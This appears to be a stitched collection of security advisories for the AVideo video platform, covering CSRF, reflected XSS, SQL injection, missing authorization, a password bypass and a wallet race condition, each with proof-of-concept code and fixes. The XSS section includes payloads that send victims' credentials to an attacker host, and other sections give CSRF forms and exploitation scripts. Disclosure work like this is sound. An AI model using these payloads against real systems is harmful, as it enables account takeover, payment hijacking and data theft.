// admin/functions.php:55 - select option $html .= "<option value='" . htmlspecialchars($key, ENTQUOTES, 'UTF-8') . "' {$select}>" . htmlspecialchars($value, ENTQUOTES, 'UTF-8') . "</option>";
// admin/functions.php:62-63 - input type and value $html .= "<input class='form-control' type='" . htmlspecialchars($valueJson->type, ENTQUOTES, 'UTF-8') . "' value='" . htmlspecialchars($valueJson->value, ENTQUOTES, 'UTF-8') . "' name='{$name}' id='{$id}'/>";
// admin/functions.php:75 - fallback input $html .= "<input class='form-control' type='text' value='" . htmlspecialchars($valueJson, ENTQUOTES, 'UTF-8') . "' name='{$name}' id='{$id}'/>";
--- Found by aisafe.io
Summary
AVideo's admin plugin configuration endpoint (admin/save.json.php) lacks any CSRF token validation. There is no call to isGlobalTokenValid() or verifyToken() before processing the request. Combined with the application's explicit SameSite=None cookie policy, an attacker can forge cross-origin POST requests from a malicious page to overwrite arbitrary plugin settings on a victim administrator's session.
Because the plugins table is included in the ignoreTableSecurityCheck() array in objects/Object.php, standard table-level access controls are also bypassed. This allows a complete takeover of platform functionality by reconfiguring payment processors, authentication providers, cloud storage credentials, and more.
Details
The session cookie configuration in objects/includeconfig.php at line 135 explicitly weakens the default browser protections:
php // objects/includeconfig.php:135 iniset('session.cookiesamesite', 'None');
This means cookies are attached to all cross-origin requests, making CSRF attacks trivial.
The save endpoint in admin/save.json.php directly processes POST data without any token verification:
php // admin/save.json.php $pluginName = $POST['pluginName']; $pluginValues = $POST; // ... $pluginDO->$key = $pluginValues[$key]; $p->setObjectdata(jsonencode($pluginDO)); $p->save();
The plugins table is explicitly exempted from security checks in objects/Object.php at line 529:
php // objects/Object.php:529 static function ignoreTableSecurityCheck() { return ['plugins', / ... other tables ... /]; }
Even the ORM-level protections that exist for other tables do not apply to plugin configuration writes.
Proof of Concept
Host the following HTML on an attacker-controlled domain. When a logged-in AVideo administrator visits this page, their PayPal receiver email is silently changed to the attacker's address:
html <!DOCTYPE html> <html> <head><title>Loading...</title></head> <body> <form id="csrf" method="POST" action="https://your-avideo-instance.com/admin/save.json.php"> <input type="hidden" name="pluginName" value="PayPerView" /> <input type="hidden" name="paypalReceiverEmail" value="attacker@evil.com" /> </form> <script> document.getElementById('csrf').submit(); </script> </body> </html>
To overwrite S3 storage credentials instead:
html <form id="csrf" method="POST" action="https://your-avideo-instance.com/admin/save.json.php"> <input type="hidden" name="pluginName" value="AWSS3" /> <input type="hidden" name="region" value="us-east-1" /> <input type="hidden" name="bucket" value="attacker-bucket" /> <input type="hidden" name="key" value="ATTACKERKEYID" /> <input type="hidden" name="secret" value="ATTACKERSECRET" /> </form>
Reproduction steps:
1. Log in to AVideo as an administrator. 2. In a separate browser tab, open the attacker's HTML page. 3. The form auto-submits, overwriting the target plugin configuration. 4. Verify the change by navigating to the plugin settings page in the admin panel.
Impact
An attacker can silently reconfigure any plugin on the AVideo platform by tricking an administrator into visiting a malicious page. Exploitable configurations include:
- Payment hijacking: Change PayPal receiver email or Stripe keys to redirect all payments to the attacker. - Credential theft: Replace S3 bucket credentials so uploaded media is sent to attacker-controlled storage. - Authentication bypass: Modify LDAP/OAuth plugin settings to point at attacker-controlled identity providers. - Backdoor installation: Enable and configure plugins to introduce persistent access.
This is a full platform takeover with zero user interaction beyond a single page visit.
- CWE: CWE-352 (Cross-Site Request Forgery)
Recommended Fix
Add CSRF token validation at admin/save.json.php:10, immediately after the admin check:
php // admin/save.json.php:10 if (!isGlobalTokenValid()) { die('{"error":"Invalid CSRF token"}'); }
--- Found by aisafe.io
Severity: High CWE: CWE-862 (Missing Authorization)
Summary
The plugin/YPTWallet/view/users.json.php endpoint returns all platform users with their personal information and wallet balances to any authenticated user. The endpoint checks User::isLogged() but does not check User::isAdmin(), so any registered user can dump the full user database.
Details
The authorization check at plugin/YPTWallet/view/users.json.php:8:
php if (!User::isLogged()) { die("Is not logged"); }
The query in YPTWallet::getAllUsers() selects all columns from both tables:
php $sql = "SELECT w., u., u.id as userid, IFNULL(balance, 0) as balance FROM users u " . " LEFT JOIN wallet w ON u.id = w.usersid WHERE 1=1 ";
The cleanUpRowFromDatabase() function strips fields matching /pass/i (removes password and recoverPass), but all other PII fields remain: email, phone, address, zipcode, country, region, city, firstname, lastname, birthdate, isAdmin, analyticsCode, donationLink, and balance.
Other endpoints in the same directory (saveBalance.php, adminManageWallets.php, pendingRequests.json.php) all check User::isAdmin().
Proof of Concept
python import requests
TARGET = "https://your-avideo-instance.com"
Step 1: Login as any regular (non-admin) user session = requests.Session() session.post(f"{TARGET}/objects/login.json.php", data={ "user": "regularuser", "pass": "regularpassword" })
Step 2: Request the users endpoint resp = session.post(f"{TARGET}/plugin/YPTWallet/view/users.json.php", data={ "current": "1", "rowCount": "10" })
data = resp.json() print(f"Total users: {data['total']}") for u in data["rows"]: print(f" User: {u['user']}, Email: {u['email']}, Admin: {u['isAdmin']}, Balance: {u['balance']}")
The response contains every user on the platform, including admin accounts, with fields: email, phone, address, zipcode, country, region, city, firstname, lastname, birthdate, isAdmin, balance, analyticsCode, donationLink.
Impact
Any registered user can extract the complete user database with PII (emails, phone numbers, addresses, birth dates, real names) and financial data (wallet balances). This is a mass data breach that may trigger notification requirements under GDPR or CCPA.
Recommended Fix
Change User::isLogged() to User::isAdmin() at plugin/YPTWallet/view/users.json.php:8:
php // plugin/YPTWallet/view/users.json.php:8 // Before: if (!User::isLogged()) { die("Is not logged"); }
// After: if (!User::isAdmin()) { die("Is not logged"); }
This matches the authorization pattern already used by the other endpoints in the same directory (saveBalance.php, adminManageWallets.php, pendingRequests.json.php).
---
Found by aisafe.io
Summary
The YPTWallet Stripe payment confirmation page directly echoes the $REQUEST['plugin'] parameter into a JavaScript block without any encoding or sanitization. The plugin parameter is not included in any of the framework's input filter lists defined in security.php, so it passes through completely raw. An attacker can inject arbitrary JavaScript by crafting a malicious URL and sending it to a victim user.
The same script block also outputs the current user's username and password hash via User::getUserName() and User::getUserPass(), meaning a successful XSS exploitation can immediately exfiltrate these credentials.
Details
The Stripe confirmation page renders the plugin parameter directly into a <script> block:
php // plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116 "plugin": "<?php echo @$REQUEST['plugin']; ?>",
This appears inside a $.ajax() data object within a <script> tag. Because the value is injected into a JavaScript string context (not HTML), standard HTML entity encoding would not be sufficient even if it were applied. However, no encoding of any kind is performed.
The plugin parameter is not present in any of the sanitization or filtering arrays in security.php, so it arrives completely unmodified.
Immediately adjacent to the injection point, the script also exposes user credentials:
php // plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:117-118 "user": "<?php echo User::getUserName() ?>", "pass": "<?php echo User::getUserPass(); ?>",
No Content-Security-Policy headers are configured on the application, so inline script execution is unrestricted.
Proof of Concept
The XSS is reachable through the addFunds.php page which includes the vulnerable confirmButton.php template:
https://your-avideo-instance.com/plugin/YPTWallet/view/addFunds.php?plugin=%22}})});alert(document.domain);console.log({/
The injected value closes the JSON string and the $.ajax() call, then executes alert(document.domain). The response contains the payload unencoded in the script block:
javascript "plugin": ""}})});alert(document.domain);console.log({/",
Credential exfiltration payload:
https://your-avideo-instance.com/plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php?plugin=",x:fetch('https://attacker.example.com/steal?'+document.querySelector('script').textContent.match(/pass.?"(.?)"/)[1]),y:"
Simplified credential theft using the same-page credential leak:
html <!-- Host this on attacker.example.com and send the link to a victim --> <html> <body> <script> // The confirmButton.php page outputs user/pass in the script block. // XSS lets us read it directly. var payload = encodeURIComponent( '",x:(function(){' + 'var s=document.querySelector("script").textContent;' + 'var u=s.match(/"user":"([^"]+)"/)[1];' + 'var p=s.match(/"pass":"([^"]+)"/)[1];' + 'new Image().src="https://attacker.example.com/log?u="+u+"&p="+p;' + '})(),y:"' ); window.location = "https://your-avideo-instance.com/plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php?plugin=" + payload; </script> </body> </html>
Reproduction steps:
1. Navigate to the basic XSS URL above (substitute your target instance). 2. Observe the JavaScript alert box confirming code execution. 3. View the page source to confirm that User::getUserName() and User::getUserPass() are present in the same script block. 4. Use the credential exfiltration payload to demonstrate data theft.
Impact
An attacker can execute arbitrary JavaScript in the context of any authenticated user who clicks a crafted link. The impact is amplified by the credential leak on the same page:
- Immediate credential theft: The page already renders the victim's username and password hash in the script block. The XSS payload can read and exfiltrate these values without any additional requests. - Session hijacking: Steal session cookies and impersonate the victim. - Payment manipulation: Since this is a payment confirmation page, the attacker can modify payment amounts, redirect payment confirmations, or trigger unauthorized transactions. - Account takeover: Combine the stolen password hash with the username for offline cracking or direct replay.
The lack of CSP headers means there are no browser-side mitigations against the injected scripts.
- CWE: CWE-79 (Cross-Site Scripting - Reflected) - Severity: High (CVSS 8.1)
Recommended Fix
Apply htmlspecialchars() to the plugin parameter at plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116:
php // plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116 // Before: "plugin": "<?php echo @$REQUEST['plugin']; ?>",
// After: "plugin": "<?php echo htmlspecialchars(@$REQUEST['plugin'], ENTQUOTES, 'UTF-8'); ?>",
--- Found by aisafe.io
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the Liveschedule::keyExists() method constructs a SQL query by interpolating a stream key directly into the query string without parameterization. This method is called as a fallback from LiveTransmition::keyExists() when the initial parameterized lookup returns no results. Although the calling function correctly uses parameterized queries for its own lookup, the fallback path to Liveschedule::keyExists() undoes this protection entirely. This vulnerability is distinct from GHSA-pvw4-p2jm-chjm, which covers SQL injection via the livescheduleid parameter in the reminder function. This finding targets the stream key lookup path used during RTMP publish authentication. As of time of publication, no patched versions are available.
Summary
The getapivideofile and getapivideo API endpoints in AVideo return full video playback sources (direct MP4 URLs, HLS manifests) for password-protected videos without verifying the video password. While the normal web playback flow enforces password checks via the CustomizeUser::getModeYouTube() hook, this enforcement is completely absent from the API code path. An unauthenticated attacker can retrieve direct playback URLs for any password-protected video by calling the API directly.
Details
The video password protection is enforced in the web UI via CustomizeUser::getModeYouTube() (plugin/CustomizeUser/CustomizeUser.php:787), which calls videoPasswordIsGood() before rendering the video player. However, this hook is only invoked during web page rendering — the API endpoints bypass it entirely.
Vulnerable endpoint 1 — getapivideofile (plugin/API/API.php:986-1004):
php public function getapivideofile($parameters) { global $global; $obj = $this->startResponseObject($parameters); $obj->videosid = $parameters['videosid']; if (!self::isAPISecretValid()) { if (!User::canWatchVideoWithAds($obj->videosid)) { return new ApiObject("You cannot watch this video"); } } $video = new Video('', '', $obj->videosid); $obj->filename = $video->getFilename(); // ... $obj->videofile = Video::getHigherVideoPathFromID($obj->videosid); $obj->sources = getSources($obj->filename, true); return new ApiObject("", false, $obj); }
The only access check is User::canWatchVideoWithAds() (objects/user.php:1102-1159), which checks admin status, video active status, owner status, and plugin-level restrictions (subscription/PPV). It does not check videopassword. Password-protected videos have status 'a' (active), which passes all checks.
Vulnerable endpoint 2 — getapivideo (plugin/API/API.php:1635-1810):
This endpoint returns video metadata including full videos paths (line 1759) and sources arrays (line 1785) for all videos in query results, with no password verification anywhere in the function.
The intended password check exists but is never called from these endpoints:
Video::verifyVideoPassword() (objects/video.php:543-553) is the proper password verification function, and getapivideopasswordiscorrect exists as a separate API endpoint — proving password verification was intended as an access control. But neither getapivideofile nor getapivideo invoke any password check.
PoC
bash Step 1: Identify a password-protected video via the video list API curl -s 'https://target.com/plugin/API/get.json.php?APIName=video&rowCount=50' | \ python3 -c " import json, sys data = json.load(sys.stdin) for v in data.get('response',{}).get('rows',[]): if v.get('videopassword'): print(f'ID: {v[\"id\"]}, Title: {v[\"title\"]}, Password Protected: YES') print(f' Direct sources: {json.dumps(v.get(\"sources\",[])[0] if v.get(\"sources\") else \"none\")}')"
Step 2: Retrieve full playback sources for the password-protected video curl -s 'https://target.com/plugin/API/get.json.php?APIName=videofile&videosid=<PROTECTEDVIDEOID>'
Expected: access denied or password prompt Actual: full response with direct MP4/HLS URLs: {"error":false,"response":{"videosid":"123","filename":"videoabc", "videofile":"https://target.com/videos/videoabc/videoabcHD.mp4", "sources":[{"src":"https://target.com/videos/videoabc/videoabcHD.mp4","type":"video/mp4"}]}}
Step 3: Download the protected video directly curl -O 'https://target.com/videos/videoabc/videoabcHD.mp4'
Impact
Any unauthenticated user can retrieve direct playable video URLs for all password-protected videos, completely bypassing the password requirement. The getapivideo endpoint additionally exposes which videos are password-protected (via the videopassword field set to '1'), allowing targeted enumeration. This renders the videopassword feature ineffective for any content accessible through the API, which includes mobile apps, third-party integrations, and direct API consumers.
Recommended Fix
Add password verification to both API endpoints before returning video sources. In plugin/API/API.php:
php public function getapivideofile($parameters) { global $global; $obj = $this->startResponseObject($parameters); $obj->videosid = $parameters['videosid']; if (!self::isAPISecretValid()) { if (!User::canWatchVideoWithAds($obj->videosid)) { return new ApiObject("You cannot watch this video"); } // Check video password protection $video = new Video('', '', $obj->videosid); $storedPassword = $video->getVideopassword(); if (!empty($storedPassword)) { $providedPassword = @$parameters['videopassword']; if (empty($providedPassword) || !Video::verifyVideoPassword($providedPassword, $storedPassword)) { return new ApiObject("Video password required", true); } } } // ... rest of function }
Apply the same check in getapivideo() before populating the videos and sources fields (around line 1759), replacing source data with an empty object when the password is not provided or incorrect. Also fix getapivideopasswordiscorrect to use Video::verifyVideoPassword() instead of direct == comparison (line 1126), which currently fails for bcrypt hashes.
Summary
The transferBalance() method in plugin/YPTWallet/YPTWallet.php contains a Time-of-Check-Time-of-Use (TOCTOU) race condition. The method reads the sender's wallet balance, checks sufficiency in PHP, then writes the new balance — all without database transactions or row-level locking. An attacker with multiple authenticated sessions can send concurrent transfer requests that all read the same stale balance, each passing the balance check independently, resulting in only one deduction being applied while the recipient is credited multiple times.
Details
The vulnerable code path in plugin/YPTWallet/YPTWallet.php:450-517:
php // Line 473-474: READ - fetch current balance (plain SELECT, no FOR UPDATE) $senderWallet = self::getWallet($fromUserId); $senderBalance = $senderWallet->getBalance(); $senderNewBalance = $senderBalance - $amount;
// Line 477: CHECK - verify sufficient funds in PHP if ($senderNewBalance < 0) { return false; }
// Line 486-487: WRITE - set new balance (plain UPDATE) $senderWallet->setBalance($senderNewBalance); $senderWalletId = $senderWallet->save();
// Line 497-502: Credit receiver (also plain SELECT + UPDATE) $receiverWallet = self::getWallet($toUserId); $receiverBalance = $receiverWallet->getBalance(); $receiverNewBalance = $receiverBalance + $amount; $receiverWallet->setBalance($receiverNewBalance); $receiverWalletId = $receiverWallet->save();
The getWallet() method (YPTWallet.php:244) calls Wallet::getFromUser() (Wallet.php:69-84) which executes a plain SELECT FROM wallet WHERE usersid = $usersid with no FOR UPDATE clause. The save() method (Wallet.php:105) calls ObjectYPT::save() (Object.php:293) which executes a plain UPDATE — no transaction wrapping.
Race window: Between the SELECT (step 1) and UPDATE (step 3), all concurrent requests see the same original balance. Each independently computes original - amount, passes the check, and writes back. The last writer wins for the sender (only one deduction effective), but the receiver gets credited once per request.
Why concurrent requests succeed: PHP's file-based session locking serializes requests per session. However, an attacker can create multiple login sessions (different PHPSESSID cookies) for the same user account. Each session has its own lock and can execute concurrently. Each session needs its own captcha, but the captcha validation in objects/captcha.php:58-73 compares $SESSION['palavra'] without unsetting it after validation, allowing unlimited reuse within each session.
Entry point: plugin/YPTWallet/view/transferFunds.json.php:39 calls YPTWallet::transferBalance(User::getId(), $POST['usersid'], $POST['value']) — requires only User::isLogged() and a valid captcha.
PoC
bash Prerequisites: Attacker has a registered account with $10 wallet balance Accomplice has a registered account (recipient)
TARGET="https://target-avideo-instance" ACCOMPLICEID=123 # recipient user ID
Step 1: Create 5 independent sessions for the same attacker account declare -a SESSIONS declare -a CAPTCHAANSWERS
for i in $(seq 1 5); do # Login and capture session cookie COOKIE=$(curl -s -c - "$TARGET/objects/login.json.php" \ -d 'user=attacker&pass=attackerpass' | grep PHPSESSID | awk '{print $NF}') # Load captcha to populate $SESSION['palavra'] curl -s -b "PHPSESSID=$COOKIE" "$TARGET/objects/captcha.php" -o "captcha$i.png" SESSIONS[$i]=$COOKIE echo "Session $i: $COOKIE — solve captcha$i.png manually" done
Step 2: After solving captchas, fire all 5 transfer requests simultaneously Each requests $10 transfer — all will read balance=$10 concurrently for i in $(seq 1 5); do curl -s -b "PHPSESSID=${SESSIONS[$i]}" \ "$TARGET/plugin/YPTWallet/view/transferFunds.json.php" \ -d "usersid=$ACCOMPLICEID&value=10&captcha=${CAPTCHAANSWERS[$i]}" & done wait
Expected result: - Attacker balance: $0 (last write wins, sets balance to 10-10=0) - Accomplice balance: credited $10 x N successful races (up to $50) - Net money created from nothing: up to $40
Impact
An authenticated attacker can exploit this race condition to:
- Create wallet balance from nothing: With a $10 balance and N concurrent requests, the recipient can receive up to $10×N while the sender only loses $10. - Bypass pay-per-view charges: Inflate wallet balance, then purchase paid content without real payment. - Bypass subscription fees: Use inflated balance to purchase subscriptions. - Financial integrity compromise: The wallet ledger becomes inconsistent — total balances across all users no longer match total deposits.
The attack requires solving one captcha per session (captchas are reusable within a session), creating multiple login sessions, and timing concurrent requests — achievable with basic scripting.
Recommended Fix
Replace the read-check-write pattern with an atomic database operation using a transaction and row-level locking:
php public static function transferBalance($fromUserId, $toUserId, $amount, $customDescription = "", $forceTransfer = false) { global $global; // ... existing auth and validation checks ... $amount = floatval($amount); if ($amount <= 0) { return false; }
// Use a database transaction with row-level locking $global['mysqli']->autocommit(false); $global['mysqli']->begintransaction(); try { // Lock sender row and read balance atomically $sql = "SELECT id, balance FROM wallet WHERE usersid = ? FOR UPDATE"; $stmt = $global['mysqli']->prepare($sql); $stmt->bindparam("i", $fromUserId); $stmt->execute(); $result = $stmt->getresult(); $senderRow = $result->fetchassoc(); $stmt->close(); if (empty($senderRow)) { $global['mysqli']->rollback(); return false; } $senderBalance = floatval($senderRow['balance']); $senderNewBalance = $senderBalance - $amount; if ($senderNewBalance < 0) { $global['mysqli']->rollback(); return false; } // Atomic deduction $sql = "UPDATE wallet SET balance = ? WHERE id = ? AND balance >= ?"; $stmt = $global['mysqli']->prepare($sql); $stmt->bindparam("did", $senderNewBalance, $senderRow['id'], $amount); $stmt->execute(); if ($stmt->affectedrows === 0) { $global['mysqli']->rollback(); $stmt->close(); return false; } $stmt->close(); // Credit receiver (also locked) $sql = "SELECT id, balance FROM wallet WHERE usersid = ? FOR UPDATE"; $stmt = $global['mysqli']->prepare($sql); $stmt->bindparam("i", $toUserId); $stmt->execute(); $result = $stmt->getresult(); $receiverRow = $result->fetchassoc(); $stmt->close(); $receiverNewBalance = floatval($receiverRow['balance']) + $amount; $sql = "UPDATE wallet SET balance = ? WHERE id = ?"; $stmt = $global['mysqli']->prepare($sql); $stmt->bindparam("di", $receiverNewBalance, $receiverRow['id']); $stmt->execute(); $stmt->close(); $global['mysqli']->commit(); // ... log entries ... } catch (Exception $e) { $global['mysqli']->rollback(); return false; } finally { $global['mysqli']->autocommit(true); } }
Additionally, fix the captcha reuse issue in objects/captcha.php:58-73 by unsetting $SESSION['palavra'] after successful validation:
php public static function validation($word) { // ... existing checks ... $validation = (strcasecmp($word, $SESSION["palavra"]) == 0); if ($validation) { unset($SESSION["palavra"]); // Consume the captcha token } return $validation; }
Summary
The categories.json.php endpoint, which serves the category listing API, fails to enforce user group-based access controls on categories. In the default request path (no ?user= parameter), user group filtering is entirely skipped, exposing all non-private categories including those restricted to specific user groups. When the ?user= parameter is supplied, a type confusion bug causes the filter to use the admin user's (userid=1) group memberships instead of the current user's, rendering the filter ineffective.
Details
The vulnerability has two related failures in objects/categories.json.php and objects/category.php:
1. Default request — group filtering completely skipped
In categories.json.php:17-24, when $GET['user'] is not set, $sameUserGroupAsMe defaults to false:
php // categories.json.php:17-24 $onlyWithVideos = false; $sameUserGroupAsMe = false; if(!empty($GET['user'])){ $onlyWithVideos = true; $sameUserGroupAsMe = true; } $categories = Category::getAllCategories(true, $onlyWithVideos, false, $sameUserGroupAsMe);
In category.php:438-452, the user group filter is gated on $sameUserGroupAsMe being truthy:
php // category.php:438-452 if ($sameUserGroupAsMe) { $usersgroups = UserGroups::getUserGroups($sameUserGroupAsMe); $usersgroupsid = array(0); foreach ($usersgroups as $value) { $usersgroupsid[] = $value['id']; } $sql .= " AND (" . "(SELECT count() FROM categorieshasusersgroups chug WHERE c.id = chug.categoriesid) = 0 OR " . "(SELECT count() FROM categorieshasusersgroups chug2 WHERE c.id = chug2.categoriesid AND usersgroupsid IN (" . implode(',', $usersgroupsid) . ")) >= 1 " . ")"; }
Since $sameUserGroupAsMe = false, the entire block is skipped. All non-private categories are returned regardless of their user group restrictions set via the categorieshasusersgroups table.
2. With ?user= parameter — boolean-to-integer type confusion
When $GET['user'] is non-empty, $sameUserGroupAsMe is set to boolean true (line 21). This value is passed to UserGroups::getUserGroups($sameUserGroupAsMe) at category.php:440.
In userGroups.php:349-379, the parameter is used as $usersid:
php // userGroups.php:349,371,379 public static function getUserGroups($usersid){ // ... $sql = "SELECT uug., ug. FROM usersgroups ug" . " LEFT JOIN usershasusersgroups uug ON usersgroupsid = ug.id WHERE usersid = ? "; // ... $res = sqlDAL::readSql($sql, "i", [$usersid]);
PHP casts boolean true to integer 1 for the prepared statement bind, resulting in WHERE usersid = 1 — fetching the admin user's group memberships. The filter then allows categories visible to admin groups, effectively granting any unauthenticated user the admin's category visibility.
3. getTotalCategories also unfiltered
getTotalCategories() at category.php:978 does not accept a $sameUserGroupAsMe parameter at all, so the total count always reflects the unfiltered category set.
The endpoint requires no authentication — it uses allowOrigin() (a CORS header helper) and is publicly routable via the .htaccess rewrite rule: RewriteRule ^categories.json$ objects/categories.json.php.
PoC
bash 1. Fetch all categories without authentication — no group filtering applied curl -s 'https://target/categories.json' | jq '.rows[] | {id, name, private, usersgroupsidsarray}'
Returns ALL non-private categories including those restricted to specific user groups. The usersgroupsidsarray field reveals which groups each category is restricted to. Categories with non-empty usersgroupsidsarray should be hidden from users not in those groups.
2. Attempt the "filtered" path — still broken due to boolean->int cast curl -s 'https://target/categories.json?user=1' | jq '.rows[] | {id, name, private, usersgroupsidsarray}'
This applies group filtering but uses admin's groups (usersid=1) instead of the current user's groups, so group-restricted categories visible to admin are exposed.
Impact
Any unauthenticated user can:
- Enumerate all non-private categories regardless of user group restrictions, bypassing the intended access control model where categories are restricted to specific user groups via the CustomizeUser plugin's categorieshasusersgroups table. - Discover the user group configuration for each category via the usersgroupsidsarray field in the response, revealing the internal access control structure. - Identify group-restricted content areas that should be hidden, which could be used to target further access control bypasses on the videos within those categories.
The severity is Medium because this is an information disclosure of category metadata (names, descriptions, icons, group assignments) rather than the actual video content within restricted categories. However, the exposure of the access control structure itself (which groups have access to which categories) is a meaningful information leak.
Recommended Fix
In objects/categories.json.php, pass the current user's ID (or 0 for unauthenticated users) instead of a boolean:
php // categories.json.php — replace lines 17-24 $onlyWithVideos = false; $sameUserGroupAsMe = false; if(!empty($GET['user'])){ $onlyWithVideos = true; } // Always apply user group filtering using the logged-in user's ID $currentUserId = User::getId(); if (!empty($currentUserId)) { $sameUserGroupAsMe = $currentUserId; } else { // For unauthenticated users, pass a value that will filter to only // categories with no group restrictions $sameUserGroupAsMe = -1; // Non-existent user ID, will match no groups }
$categories = Category::getAllCategories(true, $onlyWithVideos, false, $sameUserGroupAsMe);
Additionally, in category.php:getAllCategories(), ensure the group filter block always runs when categories have group restrictions, not only when $sameUserGroupAsMe is truthy. A more robust approach:
php // category.php — replace the sameUserGroupAsMe block (lines 438-452) // Always filter by user groups if any categories have group restrictions $usersgroupsid = array(0); if ($sameUserGroupAsMe && $sameUserGroupAsMe > 0) { $usersgroups = UserGroups::getUserGroups($sameUserGroupAsMe); foreach ($usersgroups as $value) { $usersgroupsid[] = $value['id']; } } $sql .= " AND (" . "(SELECT count() FROM categorieshasusersgroups chug WHERE c.id = chug.categoriesid) = 0 OR " . "(SELECT count() FROM categorieshasusersgroups chug2 WHERE c.id = chug2.categoriesid AND usersgroupsid IN (" . implode(',', $usersgroupsid) . ")) >= 1 " . ")";
This ensures that even when no user is logged in, categories with group restrictions are hidden (only categories with zero group restrictions are shown). The getTotalCategories() function should also be updated to accept and apply the same $sameUserGroupAsMe filter.